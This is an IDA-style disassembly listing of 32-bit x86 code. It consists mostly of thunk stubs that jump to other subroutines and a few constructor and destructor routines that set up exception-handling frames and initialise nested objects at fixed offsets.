; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC4EF	proc near		; CODE XREF: sub_13BFEB0+35p
		jmp	sub_13C0980
sub_13AC4EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC4F4	proc near		; CODE XREF: sub_13AF070+45Cp
					; sub_13B0AE0+43p ...
		jmp	sub_13B3FC0
sub_13AC4F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC4F9	proc near		; CODE XREF: sub_13B6120+5p
					; sub_13B6260+6p ...
		jmp	sub_13B6460
sub_13AC4F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC4FE	proc near
		jmp	sub_13D99D0
sub_13AC4FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC503	proc near		; CODE XREF: sub_13C1140+14Ap
		jmp	sub_13C34C0
sub_13AC503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC508	proc near		; CODE XREF: sub_13D3E50+3p
		jmp	sub_13D3E80
sub_13AC508	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC50D	proc near		; CODE XREF: sub_13BA370+F3Dp
					; sub_13BA370+1392p ...
		jmp	sub_13BEBE0
sub_13AC50D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC512	proc near		; CODE XREF: sub_13BDDC0+38p
					; sub_13BE1B0+5Fp
		jmp	sub_13BD920
sub_13AC512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC517	proc near		; CODE XREF: sub_13B4530+14p
					; sub_13B4560+7p ...
		jmp	sub_13B4580
sub_13AC517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC51C	proc near		; CODE XREF: sub_13D4570+157p
		jmp	sub_13D4120
sub_13AC51C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC521	proc near		; CODE XREF: sub_13B4FE0+1Ap
					; sub_13B5030+1Ap
		jmp	sub_13B50A0
sub_13AC521	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC526	proc near		; CODE XREF: sub_13BFA10+3p
					; sub_13C01E0+4Fp ...
		jmp	sub_13C0460
sub_13AC526	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC52B	proc near
		jmp	sub_13BA370
sub_13AC52B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC530	proc near		; CODE XREF: sub_13BEBE0+EDp
		jmp	sub_13BFC40
sub_13AC530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC535	proc near
		jmp	sub_13C57A0
sub_13AC535	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC53A	proc near		; CODE XREF: sub_13B6220+3p
		jmp	sub_13B64A0
sub_13AC53A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC53F	proc near		; CODE XREF: sub_13B62C0+11p
					; sub_13B62C0+27p ...
		jmp	sub_13B65E0
sub_13AC53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC544	proc near		; CODE XREF: sub_13C8A70+2C5p
		jmp	sub_13CABF0
sub_13AC544	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC549	proc near		; CODE XREF: sub_13C7C40+652p
		jmp	sub_13C6480
sub_13AC549	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC54E	proc near		; CODE XREF: sub_13C2FD0+32p
		jmp	sub_13C32A0
sub_13AC54E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC553	proc near		; CODE XREF: sub_13B9040+ACp
					; sub_13B9550+21Dp
		jmp	sub_13B9180
sub_13AC553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC558	proc near		; CODE XREF: sub_13BDBF0+93p
		jmp	near ptr 13DDE40h
sub_13AC558	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC55D	proc near		; CODE XREF: sub_13BF5E0+1Fp
					; sub_13BFEB0+2Cp
		jmp	sub_13BFE10
sub_13AC55D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC562	proc near		; CODE XREF: sub_13CF830+Dp
		jmp	sub_13CF800
sub_13AC562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC567	proc near		; CODE XREF: sub_13CA940+17Dp
		jmp	sub_13CBDE0
sub_13AC567	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC56C	proc near		; CODE XREF: sub_13D6280+401p
		jmp	sub_13D44B0
sub_13AC56C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC571	proc near
		jmp	sub_13B3F10
sub_13AC571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC576	proc near		; CODE XREF: sub_13B4DF0+6Ap
					; sub_13B4DF0+103p
		jmp	sub_13B5030
sub_13AC576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC57B	proc near
		jmp	sub_13D0A40
sub_13AC57B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC580	proc near
		jmp	sub_13C5010
sub_13AC580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC585	proc near		; CODE XREF: sub_13B1620+16p
					; sub_13B1660+Bp ...
		jmp	sub_13B18C0
sub_13AC585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC58A	proc near
		jmp	sub_13C10F0
sub_13AC58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC58F	proc near		; CODE XREF: sub_13B5400+1Bp
		jmp	near ptr 13DCEF0h
sub_13AC58F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC594	proc near		; CODE XREF: sub_13BFE10+5Ap
		jmp	sub_13C08F0
sub_13AC594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC599	proc near		; CODE XREF: sub_13D9AD0+ABp
					; sub_13DAAB0+1Bp
		jmp	sub_13DAB20
sub_13AC599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC59E	proc near
		jmp	sub_13D8EB0
sub_13AC59E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5A3	proc near		; CODE XREF: sub_13B1B90+F20p
					; sub_13B1B90+F45p ...
		jmp	sub_13C3CD0
sub_13AC5A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5A8	proc near
		jmp	sub_13D6B30
sub_13AC5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5AD	proc near		; CODE XREF: sub_13B5920+55p
		jmp	sub_13B43D0
sub_13AC5AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5B2	proc near
		jmp	sub_13D2640
sub_13AC5B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5B7	proc near		; CODE XREF: sub_13CBF00+34p
					; sub_13CC820+67p
		jmp	sub_13CC540
sub_13AC5B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5BC	proc near		; CODE XREF: sub_13B14F0+2Cp
					; sub_13B14F0+68p ...
		jmp	sub_13B1660
sub_13AC5BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5C1	proc near
		jmp	near ptr 13DD810h
sub_13AC5C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5C6	proc near		; CODE XREF: sub_13C6A20+1B3p
					; sub_13C6A20+332p ...
		jmp	sub_13C7A80
sub_13AC5C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5CB	proc near		; CODE XREF: sub_13B6070+11p
					; sub_13B62C0+1Fp
		jmp	sub_13B63F0
sub_13AC5CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5D0	proc near
		jmp	sub_13D9A10
sub_13AC5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5D5	proc near		; CODE XREF: sub_13CEA10+1Ap
					; sub_13CEAF0+1Bp ...
		jmp	sub_13CE840
sub_13AC5D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5DA	proc near		; CODE XREF: sub_13C0DA0+2Bp
		jmp	sub_13C2D50
sub_13AC5DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5DF	proc near		; CODE XREF: sub_13C28A0+224p
		jmp	sub_13D5F90
sub_13AC5DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5E4	proc near
		jmp	sub_13D90A0
sub_13AC5E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5E9	proc near
		jmp	sub_13D9230
sub_13AC5E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5EE	proc near
		jmp	near ptr 13DD5F0h
sub_13AC5EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5F3	proc near		; CODE XREF: sub_13D8820+101p
		jmp	sub_13D8170
sub_13AC5F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5F8	proc near
		jmp	sub_13B15C0
sub_13AC5F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC5FD	proc near
		jmp	sub_13D86F0
sub_13AC5FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC607	proc near		; CODE XREF: sub_13ADAD0+25p
					; sub_13ADAD0+35p ...
		jmp	sub_13AE090
sub_13AC607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC60C	proc near
		jmp	near ptr 13DD520h
sub_13AC60C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC611	proc near		; CODE XREF: sub_13C2740+88p
					; sub_13C2740+98p
		jmp	sub_13C2EA0
sub_13AC611	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC616	proc near		; CODE XREF: sub_13C0DA0+12Bp
		jmp	sub_13C1B80
sub_13AC616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC61B	proc near		; CODE XREF: sub_13C2EF0+5p
		jmp	sub_13C3160
sub_13AC61B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC620	proc near		; CODE XREF: sub_13BEA50+3p
		jmp	sub_13BEA80
sub_13AC620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC625	proc near		; CODE XREF: sub_13D94D0+1Fp
					; sub_13D9590+1Fp ...
		jmp	sub_13DAEF0
sub_13AC625	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC62A	proc near
		jmp	sub_13D1A20
sub_13AC62A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC62F	proc near		; CODE XREF: sub_13D9C60+102p
		jmp	sub_13DAC30
sub_13AC62F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC634	proc near		; CODE XREF: sub_13BD920+5Cp
					; sub_13BD920+C0p ...
		jmp	sub_13BF870
sub_13AC634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC639	proc near
		jmp	near ptr dword_13DB7C0+70h
sub_13AC639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC63E	proc near
		jmp	sub_13D9590
sub_13AC63E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC643	proc near		; CODE XREF: sub_13C7C40+203p
		jmp	sub_13D74F0
sub_13AC643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC648	proc near		; CODE XREF: sub_13D8820+148p
					; sub_13D8820+173p
		jmp	sub_13D8090
sub_13AC648	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC64D	proc near
		jmp	sub_13D85C0
sub_13AC64D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC652	proc near		; CODE XREF: sub_13BD7E0+34p
					; sub_13BEBE0+40p
		jmp	sub_13BFD00
sub_13AC652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC657	proc near		; CODE XREF: sub_13B6FB0+1A8p
					; sub_13B7360+B1p
		jmp	sub_13B7360
sub_13AC657	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC65C	proc near
		jmp	sub_13D8640
sub_13AC65C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC661	proc near		; CODE XREF: sub_13CCE50+93Ep
		jmp	loc_13CE3B0
sub_13AC661	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC666	proc near
		jmp	sub_13C3EA0
sub_13AC666	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC66B	proc near
		jmp	sub_13B72E0
sub_13AC66B	endp

; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AD8E0	proc near		; CODE XREF: sub_13ABDB5j

var_48C		= dword	ptr -48Ch
var_488		= byte ptr -488h
var_474		= byte ptr -474h
var_470		= byte ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_42C		= byte ptr -42Ch
var_414		= byte ptr -414h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_13AD8E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_13AD939
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_13AD92A:				; CODE XREF: sub_13AD8E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_13AD92A


loc_13AD939:				; CODE XREF: sub_13AD8E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_13AB824
		push	offset dword_4435EC
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_13ABC61
		push	offset dword_443520
		lea	ecx, [esp+480h+var_46C]
		mov	[esp+480h+var_8], 2
		call	sub_13ABE87
		push	offset byte_446F80
		lea	ecx, [esp+484h+var_458]
		call	sub_13ABC61
		mov	[esp+484h+var_10], 3
		xor	esi, esi
		lea	edi, [esp+484h+var_414]


loc_13AD991:				; CODE XREF: sub_13AD8E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_13AD9E7
		lea	ecx, [esp+484h+var_444]
		call	sub_13ABA81
		dec	ebp
		push	eax
		lea	ecx, [esp+488h+var_42C]
		push	ebp
		push	ecx
		lea	ecx, [esp+490h+var_474]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+490h+var_1C], 4
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+494h+var_468]
		call	sub_13ABE9B
		lea	ecx, [esp+494h+var_43C]
		mov	[esp+494h+var_20], 3
		call	sub_13AB626
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_13AD991


loc_13AD9E7:				; CODE XREF: sub_13AD8E0+B5j
		mov	esi, [esp+494h+var_18]
		lea	edx, [esp+494h+var_46C]
		push	edx
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+498h+var_48C], 1
		lea	ecx, [esp+498h+var_470]
		mov	[esp+498h+var_24], 2
		call	sub_13AB626
		lea	ecx, [esp+498h+var_458]
		mov	[esp+498h+var_24], 1
		call	sub_13AB626
		lea	ecx, [esp+498h+var_488]
		mov	[esp+498h+var_24], 0
		call	sub_13AB626
		mov	ecx, [esp+498h+var_2C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_13AD8E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		nop
; ---------------------------------------------------------------------------
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13ADAB0	proc near		; CODE XREF: sub_13ABA81j
		mov	eax, [ecx+9]
		retn
sub_13ADAB0	endp

; ---------------------------------------------------------------------------
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13ADAD0	proc near		; CODE XREF: sub_13AB69Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	437EE0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+9]
		call	sub_13AC607
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_13AC607
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AC607
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AC607
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AC607
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AC607
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AC607
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_13AC607
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_13AC607
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_13AC607
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_13AC607
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_13AC607
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_13AC607
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_13AC607
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_13AC607
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_13AC607
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_13AC607
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_13AC607
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_13AC607
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_13AC607
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_13AC607
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_13AC607
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_13AC607
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_13AC607
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_13AC607
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_13AC607
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_13AC607
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_13AC607
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_13AC607
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_13AC607
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_13AC607
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_13AC607
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_13AC607
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_13AC607
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_13AC607
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_13AC607
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_13AC607
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_13AC607
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_13AC607
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_13AC607
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_13ABB49
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_13ABB49
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_13ABB49
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_13ABB49
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_13ABB49
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_13ABB49
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_13ABB49
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_13ABB49
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_13ABB49
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_13ABB49
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_13ABB49
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_13ABB49
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_13ABB49
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_13ABB49
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_13ABB49
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_13ABB49
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_13ABB49
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_13AB5A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_13AB5A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_13AB5A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_13AB5A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_13AB5A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13ADAD0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE000	proc near		; CODE XREF: sub_13AB423j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	437FC8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE070	proc near		; CODE XREF: sub_13AB5B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	dword_43E004
		retn
sub_13AE070	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE090	proc near		; CODE XREF: sub_13AC607j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	437FF3h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB824
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE110	proc near		; CODE XREF: sub_13ABED2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438023h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE110	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE190	proc near		; CODE XREF: sub_13ABB49j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438048h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB824
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE190	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE200	proc near		; CODE XREF: sub_13AB5A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	4380B9h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC607
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_13AC607
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AC607
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AC607
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AC607
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AC607
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AC607
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_13AC607
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE200	endp

